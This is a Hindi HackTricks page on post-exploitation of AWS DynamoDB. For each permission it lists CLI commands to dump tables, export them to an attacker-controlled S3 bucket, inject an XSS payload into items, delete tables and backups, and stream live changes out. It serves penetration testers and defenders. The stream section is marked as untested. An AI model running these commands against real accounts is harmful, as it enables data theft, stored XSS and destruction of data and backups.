AWS - DynamoDB पोस्ट एक्सप्लोइटेशन

Reading time: 9 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

DynamoDB

अधिक जानकारी के लिए देखें:

AWS - DynamoDB Enum

dynamodb:BatchGetItem

इस अनुमति के साथ एक हमलावर प्राथमिक कुंजी द्वारा तालिकाओं से आइटम प्राप्त करने में सक्षम होगा (आप तालिका के सभी डेटा के लिए बस नहीं पूछ सकते)। इसका मतलब है कि आपको प्राथमिक कुंजी पता होनी चाहिए (आप इसे तालिका के मेटाडेटा (describe-table) प्राप्त करके जान सकते हैं)।

bash
aws dynamodb batch-get-item --request-items file:///tmp/a.json

// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}

संभावित प्रभाव: तालिका में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिविलेज वृद्धि

dynamodb:GetItem

पिछले अनुमतियों के समान यह एक संभावित हमलावर को केवल 1 तालिका से मान पढ़ने की अनुमति देता है, जो कि पुनर्प्राप्त करने के लिए प्रविष्टि की प्राथमिक कुंजी दी गई है:

json
aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json

// With a.json
{
"Id" : {
"N": "205"
}
}

इस अनुमति के साथ transact-get-items विधि का उपयोग करना भी संभव है:

json
aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json

// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]

संभावित प्रभाव: तालिका में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क

dynamodb:Query

पिछले अनुमतियों के समान यह एक संभावित हमलावर को केवल 1 तालिका से मान पढ़ने की अनुमति देता है, जो कि पुनर्प्राप्त करने के लिए प्रविष्टि की प्राथमिक कुंजी दी गई है। यह तुलनाओं का एक उपसमुच्चय उपयोग करने की अनुमति देता है, लेकिन प्राथमिक कुंजी के साथ केवल "EQ" तुलना की अनुमति है (जो कि प्रकट होनी चाहिए), इसलिए आप एक अनुरोध में पूरे DB को प्राप्त करने के लिए तुलना का उपयोग नहीं कर सकते।

bash
aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json

// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}

संभावित प्रभाव: तालिका में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिविलेज वृद्धि

dynamodb:Scan

आप इस अनुमति का उपयोग पूरी तालिका को आसानी से डंप करने के लिए कर सकते हैं।

bash
aws dynamodb scan --table-name <t_name> #Get data inside the table

संभावित प्रभाव: तालिका में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क

dynamodb:PartiQLSelect

आप इस अनुमति का उपयोग पूरी तालिका को आसानी से डंप करने के लिए कर सकते हैं।

bash
aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"

यह अनुमति batch-execute-statement करने की भी अनुमति देती है जैसे:

bash
aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'

लेकिन आपको एक मान के साथ प्राथमिक कुंजी निर्दिष्ट करनी होगी, इसलिए यह इतना उपयोगी नहीं है।

संभावित प्रभाव: तालिका में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क

dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)

यह अनुमति एक हमलावर को S3 बकेट में पूरी तालिका को निर्यात करने की अनुमति देगी:

bash
aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>

ध्यान दें कि इसके काम करने के लिए तालिका में point-in-time-recovery सक्षम होना चाहिए, आप यह जांच सकते हैं कि तालिका में यह है या नहीं:

bash
aws dynamodb describe-continuous-backups \
--table-name <tablename>

यदि यह सक्षम नहीं है, तो आपको इसे सक्षम करना होगा और इसके लिए आपको dynamodb:ExportTableToPointInTime अनुमति की आवश्यकता है:

bash
aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true

संभावित प्रभाव: तालिका में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क

dynamodb:CreateTable, dynamodb:RestoreTableFromBackup, (dynamodb:CreateBackup)

इन अनुमतियों के साथ, एक हमलावर बैकअप से एक नई तालिका बना सकेगा (या यहां तक कि एक बैकअप बना सकेगा जिसे फिर एक अलग तालिका में पुनर्स्थापित किया जा सके)। फिर, आवश्यक अनुमतियों के साथ, वह जानकारी की जांच कर सकेगा जो उत्पादन तालिका में और नहीं हो सकती।

bash
aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>

संभावित प्रभाव: तालिका बैकअप में संवेदनशील जानकारी को खोजकर अप्रत्यक्ष प्रिवेस्क

dynamodb:PutItem

यह अनुमति उपयोगकर्ताओं को तालिका में एक नया आइटम जोड़ने या एक मौजूदा आइटम को नए आइटम से बदलने की अनुमति देती है। यदि समान प्राथमिक कुंजी वाला एक आइटम पहले से मौजूद है, तो पूरा आइटम नए आइटम से बदल दिया जाएगा। यदि प्राथमिक कुंजी मौजूद नहीं है, तो निर्दिष्ट प्राथमिक कुंजी के साथ एक नया आइटम बनाया जाएगा

bash
## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S":  "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}

संभावित प्रभाव: DynamoDB तालिका में डेटा जोड़ने/संशोधित करने में सक्षम होने के कारण आगे की कमजोरियों/बायपास का शोषण

dynamodb:UpdateItem

यह अनुमति उपयोगकर्ताओं को एक आइटम के मौजूदा गुणों को संशोधित करने या एक आइटम में नए गुण जोड़ने की अनुमति देती है। यह पूरे आइटम को प्रतिस्थापित नहीं करती; यह केवल निर्दिष्ट गुणों को अपडेट करती है। यदि प्राथमिक कुंजी तालिका में मौजूद नहीं है, तो यह क्रिया निर्दिष्ट प्राथमिक कुंजी के साथ एक नया आइटम बनाएगी और अपडेट अभिव्यक्ति में निर्दिष्ट गुणों को सेट करेगी।

bash
## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}

संभावित प्रभाव: एक DynamoDB तालिका में डेटा जोड़ने/संशोधित करने में सक्षम होने के कारण आगे की कमजोरियों/बायपास का शोषण

dynamodb:DeleteTable

इस अनुमति के साथ एक हमलावर एक DynamoDB तालिका को हटा सकता है, जिससे डेटा हानि होती है

bash
aws dynamodb delete-table \
--table-name TargetTable \
--region <region>

संभावित प्रभाव: डेटा हानि और हटाए गए तालिका पर निर्भर सेवाओं में व्यवधान।

dynamodb:DeleteBackup

इस अनुमति के साथ एक हमलावर DynamoDB बैकअप को हटा सकता है, जो आपदा पुनर्प्राप्ति परिदृश्य के मामले में डेटा हानि का कारण बन सकता है

bash
aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>

संभावित प्रभाव: डेटा हानि और आपदा पुनर्प्राप्ति परिदृश्य के दौरान बैकअप से पुनर्प्राप्त करने में असमर्थता।

dynamodb:StreamSpecification, dynamodb:UpdateTable, dynamodb:DescribeStream, dynamodb:GetShardIterator, dynamodb:GetRecords

note

TODO: यह परीक्षण करें कि क्या यह वास्तव में काम करता है

इन अनुमतियों के साथ एक हमलावर DynamoDB तालिका पर एक स्ट्रीम सक्षम कर सकता है, तालिका को अपडेट कर सकता है ताकि परिवर्तन स्ट्रीमिंग शुरू हो सके, और फिर तालिका में वास्तविक समय में परिवर्तनों की निगरानी करने के लिए स्ट्रीम तक पहुंच सकता है। यह हमलावर को डेटा परिवर्तनों की निगरानी और एक्सफिल्ट्रेट करने की अनुमति देता है, जो संभावित रूप से डेटा लीक का कारण बन सकता है।

  1. DynamoDB तालिका पर एक स्ट्रीम सक्षम करें:
bash
bashCopy codeaws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
  1. ARN और अन्य विवरण प्राप्त करने के लिए स्ट्रीम का वर्णन करें:
bash
bashCopy codeaws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
  1. स्ट्रीम ARN का उपयोग करके शार्ड इटरेटर प्राप्त करें:
bash
bashCopy codeaws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
  1. शार्ड इटरेटर का उपयोग करके स्ट्रीम से डेटा तक पहुँचें और उसे एक्सफिल्ट्रेट करें:
bash
bashCopy codeaws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>

संभावित प्रभाव: DynamoDB तालिका के परिवर्तनों की वास्तविक समय निगरानी और डेटा लीक।

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें